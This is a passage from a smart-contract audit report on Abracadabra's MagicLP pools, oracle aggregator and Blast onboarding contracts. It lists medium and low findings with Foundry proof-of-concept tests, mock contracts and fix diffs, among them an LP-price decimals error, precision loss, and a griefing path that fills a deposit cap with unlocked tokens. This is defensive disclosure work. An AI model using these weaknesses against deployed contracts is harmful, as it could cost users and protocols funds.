The prices in 18 decimals will be as follows:
base oracle answer ==> 400000000 (8 decimals)
quote roacle answer ==> 4000000000000 (12 decimals)
base oracle answer in WAD ==> 4000000000000000000 (18 decimals)
quote oracle answer in WAD ==> 4000000000000000000 (18 decimals)And there are 5 base tokens and 5 quote tokens in the pool.
The reserves in 18 decimals will be as follows:
base reserves ==> 5000000000000 (12 decimals)
quote reserves ==> 5000000000000000000 (18 decimals)
base reserves in WAD ==> 5000000000000000000 (18 decimals)
quote reserves in WAD ==> 5000000000000000000 (18 decimals)Let’s assume the total share of this pool is 5.
Given that the price of the base and quote tokens is 4 USD, the total value of all tokens will be 40 USD.
total usd ==> 40000000 6
total supply ==> 5000000000000 12With 5 shares representing 40 USD, the price of one share should be 8 USD.
However, the MagicLpAggregator returns 8,000,000 USD because it did not consider the decimal of MagicLP.
correct answer ==> 8000000000000000000 (18 decimals)
answer of aggregator ==> 8000000000000000000000000 (18 decimals)Add below two mock files into test/mocks.
pragma solidity ^0.8.13;
import {IAggregator} from "interfaces/IAggregator.sol";
contract OracleMock is IAggregator {
uint8 public decimals_;
uint8 public price_;
constructor(uint8 _decimals, uint8 _price) {
decimals_ = _decimals;
price_ = _price;
}
function decimals() external view override returns (uint8) {
return decimals_;
}
function latestAnswer() public view override returns (int256) {
return int256(price_ * 10 ** decimals_);
}
function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
return (0, latestAnswer(), 0, 0, 0);
}
} pragma solidity ^0.8.13;
import { IMagicLP } from "/mimswap/interfaces/IMagicLP.sol";
import { ERC20Mock } from "./ERC20Mock.sol";
contract MagicLPMock is IMagicLP {
address public _BASE_TOKEN_;
address public _QUOTE_TOKEN_;
uint112 public _BASE_RESERVE_;
uint112 public _QUOTE_RESERVE_;
constructor(ERC20Mock BASE_TOKEN, ERC20Mock QUOTE_TOKEN) {
_BASE_TOKEN_ = address(BASE_TOKEN);
_QUOTE_TOKEN_ = address(QUOTE_TOKEN);
_BASE_RESERVE_ = uint112(5 * 10 ** ERC20Mock(_BASE_TOKEN_).decimals());
_QUOTE_RESERVE_ = uint112(5 * 10 ** ERC20Mock(_QUOTE_TOKEN_).decimals());
}
function _BASE_TARGET_() external view returns (uint112) {
return _BASE_RESERVE_;
}
function _QUOTE_TARGET_() external view returns (uint112) {
return _QUOTE_RESERVE_;
}
function _I_() external view returns (uint256) {
return 1 ether;
}
function decimals() public view returns (uint8) {
return ERC20Mock(_BASE_TOKEN_).decimals();
}
function getReserves() external view returns (uint256 baseReserve, uint256 quoteReserve) {
baseReserve = _BASE_RESERVE_;
quoteReserve = _QUOTE_RESERVE_;
}
function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve) {
baseReserve = _BASE_RESERVE_;
quoteReserve = _QUOTE_RESERVE_;
}
function totalSupply() external view returns (uint256 totalSupply) {
totalSupply = 5 * 10 ** decimals();
}
function init(
address baseTokenAddress,
address quoteTokenAddress,
uint256 lpFeeRate,
address mtFeeRateModel,
uint256 i,
uint256 k
) external {}
function sellBase(address to) external returns (uint256 receiveQuoteAmount) {}
function sellQuote(address to) external returns (uint256 receiveBaseAmount) {}
function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external {}
function buyShares(address to) external returns (uint256 shares, uint256 baseInput, uint256 quoteInput) {}
function sellShares(
uint256 shareAmount,
address to,
uint256 baseMinAmount,
uint256 quoteMinAmount,
bytes calldata data,
uint256 deadline
) external returns (uint256 baseAmount, uint256 quoteAmount) {}
function MIN_LP_FEE_RATE() external view returns (uint256) {}
function MAX_LP_FEE_RATE() external view returns (uint256) {}
}Finally please add below test into MagicLpAggregator.t.sol
import "forge-std/console2.sol";
import { OracleMock } from "./mocks/OracleMock.sol";
import { ERC20Mock } from "./mocks/ERC20Mock.sol";
import { MagicLPMock } from "./mocks/MagicLPMock.sol";
function testOracleDecimals() public {
IAggregator baseOracle = new OracleMock(8, 4);
IAggregator quoteOracle = new OracleMock(12, 4);
ERC20Mock BASE_TOKEN = new ERC20Mock("base", "base");
ERC20Mock QUOTE_TOKEN = new ERC20Mock("quote", "quote");
BASE_TOKEN.setDecimals(12);
MagicLPMock lp = new MagicLPMock(BASE_TOKEN, QUOTE_TOKEN);
MagicLpAggregatorExt mlAggregator = new MagicLpAggregatorExt(
lp,
baseOracle,
quoteOracle
);
uint256 baseOracleAnswerIn18 = uint256(baseOracle.latestAnswer()) * 10 ** (18 - baseOracle.decimals());
uint256 quoteOracleAnswerIn18 = uint256(quoteOracle.latestAnswer()) * 10 ** (18 - quoteOracle.decimals());
console2.log('base oracle answer ==> ', baseOracle.latestAnswer());
console2.log('quote roacle answer ==> ', quoteOracle.latestAnswer());
console2.log('base oracle answer in WAD ==> ', baseOracleAnswerIn18);
console2.log('quote oracle answer in WAD ==> ', quoteOracleAnswerIn18);
console2.log("");
console2.log("**************");
console2.log("");
(uint256 baseReserves, uint256 quoteReserves) = lp.getReserves();
uint256 baseReservesIn18 = baseReserves * 10 ** (18 - BASE_TOKEN.decimals());
uint256 quoteReservesIn18 = quoteReserves * 10 ** (18 - QUOTE_TOKEN.decimals());
console2.log('base reserves ==> ', baseReserves);
console2.log('quote reserves ==> ', quoteReserves);
console2.log('base reserves in WAD ==> ', baseReservesIn18);
console2.log('quote reserves in WAD ==> ', quoteReservesIn18);
console2.log("");
console2.log("**************");
console2.log("");
uint8 decimalsOfUsd = 6;
uint256 totalInUsd = (baseOracleAnswerIn18 * (baseReservesIn18 + quoteReservesIn18) / (10 ** 18) / (10 ** 18)) * 10 ** 6;
console.log('total usd ==> ', totalInUsd, decimalsOfUsd);
uint256 totalSupply = lp.totalSupply();
uint8 decimalsOfLp = lp.decimals();
console.log('total supply ==> ', totalSupply, decimalsOfLp);
console2.log("");
console2.log("**************");
console2.log("");
uint256 correctAnswer = (totalInUsd / (10 ** decimalsOfUsd)) / (totalSupply / (10 ** decimalsOfLp)) * 10 ** 18;
console2.log('correct answer ==> ', correctAnswer);
console2.log('answer of aggregator ==> ', uint256(mlAggregator.latestAnswer()));
}Recommended Mitigation Steps
function latestAnswer() public view override returns (int256) {
uint256 baseAnswerNomalized = uint256(baseOracle.latestAnswer()) * (10 ** (WAD - baseOracle.decimals()));
uint256 quoteAnswerNormalized = uint256(quoteOracle.latestAnswer()) * (10 ** (WAD - quoteOracle.decimals()));
uint256 minAnswer = baseAnswerNomalized < quoteAnswerNormalized ? baseAnswerNomalized : quoteAnswerNormalized;
(uint256 baseReserve, uint256 quoteReserve) = _getReserves();
baseReserve = baseReserve * (10 ** (WAD - baseDecimals));
quoteReserve = quoteReserve * (10 ** (WAD - quoteDecimals));
+ uint256 totalSupply = pair.totalSupply() * (10 ** (WAD - baseDecimals));
- return int256(minAnswer * (baseReserve + quoteReserve) /
pair.totalSupply());
+ return int256(minAnswer * (baseReserve + quoteReserve) /
totalSupply);
}0xCalibur (Abracadabra) disputed
[M-13] Less base tokens are transferred when selling quote tokens due to the precision loss that occurred in _GeneralIntegrate()
Submitted by Matin
https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/mimswap/MagicLP.sol#L180-L191
Solidity rounds down the result of an integer division, and because of that, it is always recommended to multiply before dividing to avoid that precision loss. In the case of a prior division over multiplication, the final result may face serious precision loss as the first answer would face truncated precision and then multiplied to another integer.
The problem lies in the magicLP’s quote token querying part. The function querySellQuote() is responsible for querying the price of the quote token. This function calls the sellQuoteToken() function of the contract PMMPricing which uses a curve integral at its heart. To be precise, for the cases where the parameter R is not equal to 1, the function sellQuoteToken() calls the two functions _RAboveSellBaseToken(), _RBelowSellQuoteToken() for the cases R > 1 and R < 1 respectively. These two functions calculate the base token amounts using the _GeneralIntegrate() function.
If we look deeply at the function _GeneralIntegrate() we can see the numerical integration procedure is presented as:
/*
Integrate dodo curve from V1 to V2
require V0>=V1>=V2>0
res = (1-k)i(V1-V2)+ikV0*V0(1/V2-1/V1)
let V1-V2=delta
res = i*delta*(1-k+k(V0^2/V1/V2))
i is the price of V-res trading pair
support k=1 & k=0 case
[round down]
*/
function _GeneralIntegrate(uint256 V0, uint256 V1, uint256 V2, uint256 i, uint256 k) internal pure returns (uint256) {
if (V0 == 0) {
revert ErrIsZero();
}
uint256 fairAmount = i * (V1 - V2); // i*delta
if (k == 0) {
return fairAmount / DecimalMath.ONE;
}
uint256 V0V0V1V2 = DecimalMath.divFloor((V0 * V0) / V1, V2);
uint256 penalty = DecimalMath.mulFloor(k, V0V0V1V2); // k(V0^2/V1/V2)
return (((DecimalMath.ONE - k) + penalty) * fairAmount) / DecimalMath.ONE2;
}we can see there is a hidden division before a multiplication that makes round down the whole expression. The parameter V0V0V1V2 is calculated in such a way that the V0 * V0 is divided by V1, then the answer is divided by V2. After these divisions, the penalty variable is defined by the multiplication of V0V0V1V2 by the k variable.
This writing method is bad as the precision loss can be significant, leading to the magic pool selling fewer base tokens than actual.
At the Proof of Concept part, we can check this behavior precisely.
Proof of Concept
If we rearrange the code in a way that the precision loss is reduced, we can see the difference:
function _GeneralIntegratePrecise(uint256 V0, uint256 V1, uint256 V2, uint256 i, uint256 k) public pure returns (uint256) {
if (V0 == 0) {
revert ErrIsZero();
}
uint256 fairAmount = i * (V1 - V2); // i*delta
if (k == 0) {
return fairAmount / 1e18;
}
uint256 V0V0V1V2 = (V0 * V0);
uint256 penalty = (k * V0V0V1V2) / (V1 * V2); // k(V0^2/V1/V2)
return (((1e18 - k) + penalty) * fairAmount) / 1e36;
}For the variables:
V0 = 87461235449999999000
V1 = 131454658215568436100
V2 = 45632153140140545000
i = 200
k = 1000000000000000000We can get these numbers:
Current Implementation 17164
Precise Implementation 21888The error between these two numbers is % 27.5. Thus, we can see that the actual implementation calculates fewer base token amounts than the precise method.
Recommended Mitigation Steps
Consider modifying the numerical integral calculation to prevent such precision loss and prioritize multiplication over division:
function _GeneralIntegrate(uint256 V0, uint256 V1, uint256 V2, uint256 i, uint256 k) public pure returns (uint256) {
if (V0 == 0) {
revert ErrIsZero();
}
uint256 fairAmount = i * (V1 - V2); // i*delta
if (k == 0) {
return fairAmount / 1e18;
}
uint256 V0V0V1V2 = (V0 * V0);
uint256 penalty = (k * V0V0V1V2) / (V1 * V2); // k(V0^2/V1/V2)
return (((1e18 - k) + penalty) * fairAmount) / 1e36;
}0xCalibur (Abracadabra) acknowledged
[M-14] Staking contract is not able to support native USDB/WETH
Submitted by yixxas
Loss of yield if USDB/WETH is used as reward token.
Proof of Concept
From what I understood from the protocol team, they want to support any ERC20 tokens that are considered safe/well known. I believe USDB/WETH falls into this category.
Both USDB and WETH yield mode are AUTOMATIC by default. LockingMultiRewards.sol uses internal accounting to track all rewards that are accrued for users. For instance, when users stake amount, stakingTokenBalance will increase by amount and user’s balance will increase by amount accordingly. Rewards that are distributed to users are based on these internal accounting values.
The issue here is that,
- If USDB/WETH tokens are used as reward tokens, the accrued yield due to automatic rebasing are lost as they cannot be claimed.
- If protocol team has not used such tokens as reward tokens yet and becomes aware of this, then it means that they will not be able to use these tokens as reward tokens.
Recommended Mitigation Steps
Add the ability to set native RebasingERC20 token to CLAIMABLE and implement a way to claim the yields to the staking contract.
0xCalibur (Abracadabra) confirmed and commented:
It’s fixed here:
[M-15] LockingMultiRewards contract on Blast does not configure gas yield nor token yield mode.
Submitted by DarkTower
The Abracadabra team configures gas yield for all contracts in the Blast L2 except for the LockingMultiRewards contract. Therefore, gas yields accrued on the LockingMultiRewards staking contract since deployment will be lost as it was never configured using BlastYields.configureDefaultClaimables. If the contract holds native yield reward tokens in ERC20 such as WETHRebasing or USDB then these rewards will also be lost.
Proof of Concept
During deployment of the staking contract on Blast, the staking contract’s gas yield mode should be configured to be able to claim accrued gas fees spent on the contract. We know that the bootstrap() function spawns the LockingMultiRewards staking contract below.
function bootstrap(uint256 minAmountOut) external onlyOwner onlyState(State.Closed) returns (address, address, uint256) {
...
@> staking = new LockingMultiRewards(pool, 30_000, 7 days, 13 weeks, address(this)); // spawns the staking contract
...
}However, in the LockingMultiRewards contract, the BlastYields.configureDefaultClaimables function does not exist in the LockingMultiRewards constructor to configure the staking contract’s gas yield mode. Therefore, gas yield cannot be claimed LockingMultiRewards.
constructor(
address _stakingToken,
uint256 _lockingBoostMultiplerInBips,
uint256 _rewardsDuration,
uint256 _lockDuration,
address _owner
) OperatableV2(_owner) {
if (_lockingBoostMultiplerInBips <= BIPS) {
revert ErrInvalidBoostMultiplier();
}
if (_lockDuration < MIN_LOCK_DURATION) {
revert ErrInvalidLockDuration();
}
if (_rewardsDuration < MIN_REWARDS_DURATION) {
revert ErrInvalidRewardDuration();
}
if (_lockDuration % _rewardsDuration != 0) {
revert ErrInvalidDurationRatio();
}
stakingToken = _stakingToken;
lockingBoostMultiplerInBips = _lockingBoostMultiplerInBips;
rewardsDuration = _rewardsDuration;
lockDuration = _lockDuration;
// kocks are combined into the same `rewardsDuration` epoch. So, if
// a user stake with locking every `rewardsDuration` this should reach the
// maximum number of possible simultaneous because the first lock gets expired,
// freeing up a slot.
maxLocks = _lockDuration / _rewardsDuration;
}We believe this to be a mistake by the Abracadabra team as all other contracts that use substantial gas except for this contract had their gas yield mode configured/ The gas spent for this contract will be very substantial considering that users will spend substantial amounts of gas claiming from the staking contract. Therefore the Abracadabra is missing out the gas fees in this contract by not configuring the gas yield mode and possibly native yield in such as WETHRebasing or USDB if such tokens are used
Tools Used
Foundry
Recommended Mitigation Steps
Configure the Blast gas yield mode for the LockingMultiRewards staking contract in the constructor and expose a function for admin to collect the yields. Additionally, also consider whether Blast points need to be configured here.
I’ll consider this an M about value leak.
Note: For full discussion, see here.
[M-16] User can grief bootstrap process by sending the cap amount of unlocked tokens to it.
Submitted by DarkTower, also found by ether_sky
The bootstrap process relies on users locking up all their tokens as it will only use tokens that are marked locked in totals[MIM].locked and totals[USDB].locked.
BlastOnboardingBoot.sol#L96-L127
function bootstrap(uint256 minAmountOut) external onlyOwner onlyState(State.Closed) returns (address, address, uint256) {
if (pool != address(0)) {
revert ErrAlreadyBootstrapped();
}
=> uint256 baseAmount = totals[MIM].locked;
=> uint256 quoteAmount = totals[USDB].locked;
MIM.safeApprove(address(router), type(uint256).max);
USDB.safeApprove(address(router), type(uint256).max);
(pool, totalPoolShares) = router.createPool(MIM, USDB, FEE_RATE, I, K, address(this), baseAmount, quoteAmount);
if (totalPoolShares < minAmountOut) {
revert ErrInsufficientAmountOut();
}
// Create staking contract
// 3x boosting for locker, 7 days reward duration, 13 weeks lp locking
// make this contract temporary the owner the set it as an operator
// for permissionned `stakeFor` during the claiming process and then
// transfer the ownership to the onboarding owner.
staking = new LockingMultiRewards(pool, 30_000, 7 days, 13 weeks, address(this));
staking.setOperator(address(this), true);
staking.transferOwnership(owner);
// Approve staking contract
pool.safeApprove(address(staking), totalPoolShares);
emit LogLiquidityBootstrapped(pool, address(staking), totalPoolShares);
return (pool, address(staking), totalPoolShares);
}However, it is possible that these values can be zero because there is a cap on the amount of tokens that can be stored in the contract.
function deposit(address token, uint256 amount, bool lock_) external whenNotPaused onlyState(State.Opened) onlySupportedTokens(token) {
token.safeTransferFrom(msg.sender, address(this), amount);
if (lock_) {
totals[token].locked += amount;
balances[msg.sender][token].locked += amount;
} else {
totals[token].unlocked += amount;
balances[msg.sender][token].unlocked += amount;
}
totals[token].total += amount;
if (caps[token] > 0 && totals[token].total > caps[token]) {
revert ErrCapReached();
}
balances[msg.sender][token].total += amount;
emit LogDeposit(msg.sender, token, amount, lock_);
}In the code above, notice that there is a cap on the amount of tokens that can be sent to the contract caps[token]. The problem here is that it is checked against the total token amount totals[token].total rather than the locked amount totals[token].locked.
Therefore a griefer can deposit tokens up to the caps[token] with lock_ = false. The result, is that no one else can deposit tokens into the contract.
During bootstrap, since these tokens are still considered unlocked, then totals[MIM].locked = 0 and totals[USDB].locked = 0, therefore there won’t be any locked tokens available for the bootstrapping process.
Recommended Mitigation Steps
Instead of checking caps[token] against totals[token].total, it should be checked against totals[token].locked.
0xCalibur (Abracadabra) confirmed, but disagreed with severity and and commented:
https://github.com/Abracadabra-money/abracadabra-money-contracts/pull/139
cccz (Judge) decreased severity to Medium and commented:
Incorrect cap check, consider M.
Note: For full discussion, see here.
Low Risk and Non-Critical Issues
For this audit, 25 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by ether_sky received the top score from the judge.
The following wardens also submitted reports: Bauchibred, hals, slvDev, DarkTower, Trust, HChang26, albahaca, Breeje, Bigsam, 0xE1, 0x11singh99, grearlake, bareli, blutorque, hassan-truscova, oualidpro, Bozho, zhaojie, SpicyMeatball, 0xJaeger, ravikiranweb3, hihen, ZanyBonzy, and pfapostol.
[L-01] Disable the stakeFor function when the system is paused
In the LockingMultiRewards contract, users cannot stake when the system is paused.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/staking/LockingMultiRewards.sol#L150
function stake(uint256 amount, bool lock_) public whenNotPaused {
_stakeFor(msg.sender, amount, lock_);
}Additionally, users cannot lock already deposited tokens when the system is paused.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/staking/LockingMultiRewards.sol#L155
function lock(uint256 amount) public whenNotPaused {
}All operations should be disabled when the system is paused.
However, operators can still stake for other users when the system is paused.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/staking/LockingMultiRewards.sol#L349-L351
function stakeFor(address account, uint256 amount, bool lock_) external onlyOperators {
_stakeFor(account, amount, lock_);
}Should include the whenNotPaused modifier.
- function stakeFor(address account, uint256 amount, bool lock_) external onlyOperators {
+ function stakeFor(address account, uint256 amount, bool lock_) external onlyOperators whenNotPaused {
_stakeFor(account, amount, lock_);
}[L-02] The cap can be associated with locked tokens in the BlastOnboarding contract
Users cannot deposit more tokens than the cap.
I guess the cap is intended to limit the tokens for creating the initial MagicLP.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/blast/BlastOnboarding.sol#L114-L116
function deposit(address token, uint256 amount, bool lock_) external whenNotPaused onlyState(State.Opened) onlySupportedTokens(token) {
totals[token].total += amount;
if (caps[token] > 0 && totals[token].total > caps[token]) {
revert ErrCapReached();
}
}There are two types of tokens: locked and unlocked tokens.
Only the locked tokens will be used to create MagicLP.
Unlocked tokens can be claimed anytime and have no effect on the pool.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/blast/BlastOnboarding.sol#L132-L141
function withdraw(address token, uint256 amount) external whenNotPaused onlySupportedTokens(token) {
balances[msg.sender][token].unlocked -= amount;
balances[msg.sender][token].total -= amount;
totals[token].unlocked -= amount;
totals[token].total -= amount;
token.safeTransfer(msg.sender, amount);
}If the cap is set, any malicious user can deposit many unlocked tokens and prevent other users from depositing.
If there are not enough tokens to create a pool because of this, the only solution is to increase the cap.
However, this is not a perfect solution.
Please modify deposit function.
function deposit(address token, uint256 amount, bool lock_) external whenNotPaused onlyState(State.Opened) onlySupportedTokens(token) {
totals[token].total += amount;
- if (caps[token] > 0 && totals[token].total > caps[token]) {
+ if (caps[token] > 0 && totals[token].locked > caps[token]) {
revert ErrCapReached();
}
}Also modify lock function.
function lock(address token, uint256 amount) external whenNotPaused onlyState(State.Opened) onlySupportedTokens(token) {
balances[msg.sender][token].unlocked -= amount;
balances[msg.sender][token].locked += amount;
totals[token].unlocked -= amount;
totals[token].locked += amount;
+ if (caps[token] > 0 && totals[token].locked > caps[token]) {
+ revert ErrCapReached();
+ }
}[L-03] The rounding direction should be set to round up in the _adjustAddLiquidity function in the router contract
In the _adjustAddLiquidity function, all calculations are rounded down.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/periphery/Router.sol#L521-L538
function _adjustAddLiquidity(
address lp,
uint256 baseInAmount,
uint256 quoteInAmount
) internal view returns (uint256 baseAdjustedInAmount, uint256 quoteAdjustedInAmount) {
if (IERC20(lp).totalSupply() == 0) {
uint256 i = IMagicLP(lp)._I_();
uint256 shares = quoteInAmount < DecimalMath.mulFloor(baseInAmount, i) ? DecimalMath.divFloor(quoteInAmount, i) : baseInAmount;
baseAdjustedInAmount = shares;
@here: quoteAdjustedInAmount = DecimalMath.mulFloor(shares, i);
} else {
if (quoteReserve > 0 && baseReserve > 0) {
uint256 baseIncreaseRatio = DecimalMath.divFloor(baseInAmount, baseReserve);
uint256 quoteIncreaseRatio = DecimalMath.divFloor(quoteInAmount, quoteReserve);
if (baseIncreaseRatio <= quoteIncreaseRatio) {
baseAdjustedInAmount = baseInAmount;
@here: quoteAdjustedInAmount = DecimalMath.mulFloor(quoteReserve, baseIncreaseRatio);
} else {
quoteAdjustedInAmount = quoteInAmount;
@here: baseAdjustedInAmount = DecimalMath.mulFloor(baseReserve, quoteIncreaseRatio);
}
}
}
}These adjusted values are exactly what are deposited into the pool.
Generally, in most protocols, the deposited token amounts should be rounded up in favor of the protocol rather than the users and such kind of issues have been treated as medium.
In short, the shares calculation should be rounded down, while the token amounts calculation should be rounded up.
Also in the previewCreatePool function.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/periphery/Router.sol#L103
function previewCreatePool() external pure returns (uint256 baseAdjustedInAmount, uint256 quoteAdjustedInAmount, uint256 shares) {
quoteAdjustedInAmount = DecimalMath.mulFloor(shares, i);
}And in the previewAddLiquidity function.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/periphery/Router.sol#L140
function previewAddLiquidity() external view returns (uint256 baseAdjustedInAmount, uint256 quoteAdjustedInAmount, uint256 shares) {
if (totalSupply == 0) {
quoteAdjustedInAmount = DecimalMath.mulFloor(shares, i);
}
}Should use mulCeil instead of mulFloor.
[L-4] We should check the totals[token].total when rescuing tokens in the BlastOnboarding
When rescuing tokens, we only check whether this token is supported.
If it is not a supported token, the owner can claim any amounts.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/blast/BlastOnboarding.sol#L205-L212
function rescue(address token, address to, uint256 amount) external onlyOwner {
if (supportedTokens[token]) {
revert ErrNotAllowed();
}
token.safeTransfer(to, amount);
emit LogTokenRescue(token, to, amount);
}There might be a scenario as follows:
Token A is initially set as a supported token.
Users deposit some amounts.
After some time, this token is set as unsupported.
As a result, the owner can claim this token, and therefore users who deposited it cannot claim their tokens.
Please add below additional check.
function rescue(address token, address to, uint256 amount) external onlyOwner {
+ if (amount > IERC20(token).balanceOf(address(this)) - totals[token].total) revert();
- if (supportedTokens[token]) {
- revert ErrNotAllowed();
- }
token.safeTransfer(to, amount);
emit LogTokenRescue(token, to, amount);
}By doing this, the owner can claim the donated supported tokens also.
[L-05] We cannot create the MagicLP when the decimal of the quote token is less than the decimal of the base token
When creating the MagicLP through the router, we validate the decimals of the base and quote tokens.
In case of overflow/underflow, the transaction will be reverted if the decimal of the quote token is less than the decimal of the base token.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/periphery/Router.sol#L598-L605
function _validateDecimals(uint8 baseDecimals, uint8 quoteDecimals) internal pure {
if (baseDecimals == 0 || quoteDecimals == 0) {
revert ErrZeroDecimals();
}
if (quoteDecimals - baseDecimals > MAX_BASE_QUOTE_DECIMALS_DIFFERENCE) {
revert ErrDecimalsDifferenceTooLarge();
}
}And obviously, A/B MagicLP is different from B/A MagicLP because the shares calculation is based on the base token.
It means that in some cases, we cannot create the necessary MagicLP due to decimals.
Please modify like below:
function _validateDecimals(uint8 baseDecimals, uint8 quoteDecimals) internal pure {
if (baseDecimals == 0 || quoteDecimals == 0) {
revert ErrZeroDecimals();
}
- if (quoteDecimals - baseDecimals > MAX_BASE_QUOTE_DECIMALS_DIFFERENCE) {
+ if (quoteDecimals > MAX_BASE_QUOTE_DECIMALS_DIFFERENCE + baseDecimals || baseDecimals > MAX_BASE_QUOTE_DECIMALS_DIFFERENCE + quoteDecimals ) {
revert ErrDecimalsDifferenceTooLarge();
}
}[L-06] There is no functionality to change the fee rate model in the MagicLP
When creating MagicLP using the create function in the factory, we insert maintainerFeeRateModel as the fee rate model.
This model will be used to calculate the maintainer fee in the MagicLP.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/periphery/Factory.sol#L86
function create(address baseToken_, address quoteToken_, uint256 lpFeeRate_, uint256 i_, uint256 k_) external returns (address clone) {
IMagicLP(clone).init(address(baseToken_), address(quoteToken_), lpFeeRate_, address(maintainerFeeRateModel), i_, k_);
}There is a functionality to change maintainerFeeRateModel in the factory.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/periphery/Factory.sol#L105-L112
function setMaintainerFeeRateModel(IFeeRateModel maintainerFeeRateModel_) external onlyOwner {
if (address(maintainerFeeRateModel_) == address(0)) {
revert ErrZeroAddress();
}
maintainerFeeRateModel = maintainerFeeRateModel_;
emit LogSetMaintainerFeeRateModel(maintainerFeeRateModel_);
}This implies that the maintainerFeeRateModel will require updating in the future.
However, there’s currently no functionality within MagicLP to modify the fee rate model.
Consequently, existing MagicLPs are unable to alter the fee rate model.
Please add a functionality to change fee rate model in the MagicLP.
[L-7] Ensure to call the _twapUpdate function before making any changes to the reserves
There is a _twapUpdate function to calculate cumulative price.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L545-L558
function _twapUpdate() internal {
uint32 blockTimestamp = uint32(block.timestamp % 2 ** 32);
uint32 timeElapsed = blockTimestamp - _BLOCK_TIMESTAMP_LAST_;
if (timeElapsed > 0 && _BASE_RESERVE_ != 0 && _QUOTE_RESERVE_ != 0) {
unchecked {
_BASE_PRICE_CUMULATIVE_LAST_ += getMidPrice() * timeElapsed;
}
}
_BLOCK_TIMESTAMP_LAST_ = blockTimestamp;
}Ensure this function is invoked prior to modifying any reserves.
It’s crucial to first update the cumulative price using the previous reserves, then proceed with reserve adjustments.
However, the current process involves calling the _twapUpdate function after modifying reserves.
Consequently, the updated reserves are multiplied by the elapsed time, leading to inaccuracies in the cumulative price.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L564
function _setReserve(uint256 baseReserve, uint256 quoteReserve) internal {
_BASE_RESERVE_ = baseReserve.toUint112();
_QUOTE_RESERVE_ = quoteReserve.toUint112();
_twapUpdate();
}The same for the _sync function.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L578
function _sync() internal {
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
....
_twapUpdate();
}The same for the _resetTargetAndReserve function.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L542
function _resetTargetAndReserve() internal returns (uint256 baseBalance, uint256 quoteBalance) {
_twapUpdate();
}Should call _twapUpdate function before making changes to the reserves.
[L-08] There might be a loss of funds if users directly invoke the buyShares function within the MagicLP
In the buyShares function, both the base and quote tokens are deposited in the same ratio, and the shares are calculated accordingly.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/mimswap/MagicLP.sol#L397-L400
function buyShares(address to) external nonReentrant returns (uint256 shares, uint256 baseInput, uint256 quoteInput) {
if (totalSupply() == 0) {
} else if (baseReserve > 0 && quoteReserve > 0) {
uint256 baseInputRatio = DecimalMath.divFloor(baseInput, baseReserve);
uint256 quoteInputRatio = DecimalMath.divFloor(quoteInput, quoteReserve);
uint256 mintRatio = quoteInputRatio < baseInputRatio ? quoteInputRatio : baseInputRatio;
shares = DecimalMath.mulFloor(totalSupply(), mintRatio);
}
}If a user deposits one token in a higher ratio than the other, the excess amount cannot be used for calculating shares.
This means users may lose these funds.
To mitigate this risk, there’s an addLiquidity function in the router.
However, it’s uncertain what will happen if users directly call this function.
And there is also no minimum shares check.
And transferFrom is not used to transfer base and quote tokens from msg.sender to this MagicLP.
While these approaches may present vulnerabilities, they can be mitigated when these functions including buyShares and sellShares are called from the router, as the router performs relevant checks.
Please ensure that these functions can only be invoked from the router.
[L-09] There’s no guarantee that the locked amounts of MIM and USDB tokens will exceed specific thresholds when creating a MagicLP through bootstrap
When creating a MagicLP using the locked MIM and USDB tokens, there’s no verification performed to ensure that the amounts exceed a certain threshold.
https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/blast/BlastOnboardingBoot.sol#L101-L106
function bootstrap(uint256 minAmountOut) external onlyOwner onlyState(State.Closed) returns (address, address, uint256) {
uint256 baseAmount = totals[MIM].locked;
uint256 quoteAmount = totals[USDB].locked;
MIM.safeApprove(address(router), type(uint256).max);
USDB.safeApprove(address(router), type(uint256).max);
(pool, totalPoolShares) = router.createPool(MIM, USDB, FEE_RATE, I, K, address(this), baseAmount, quoteAmount);
}Users may lock more USDB tokens than MIM tokens.
Since MIM is the base token, the totalPoolShares will be based on the amount of MIM tokens.
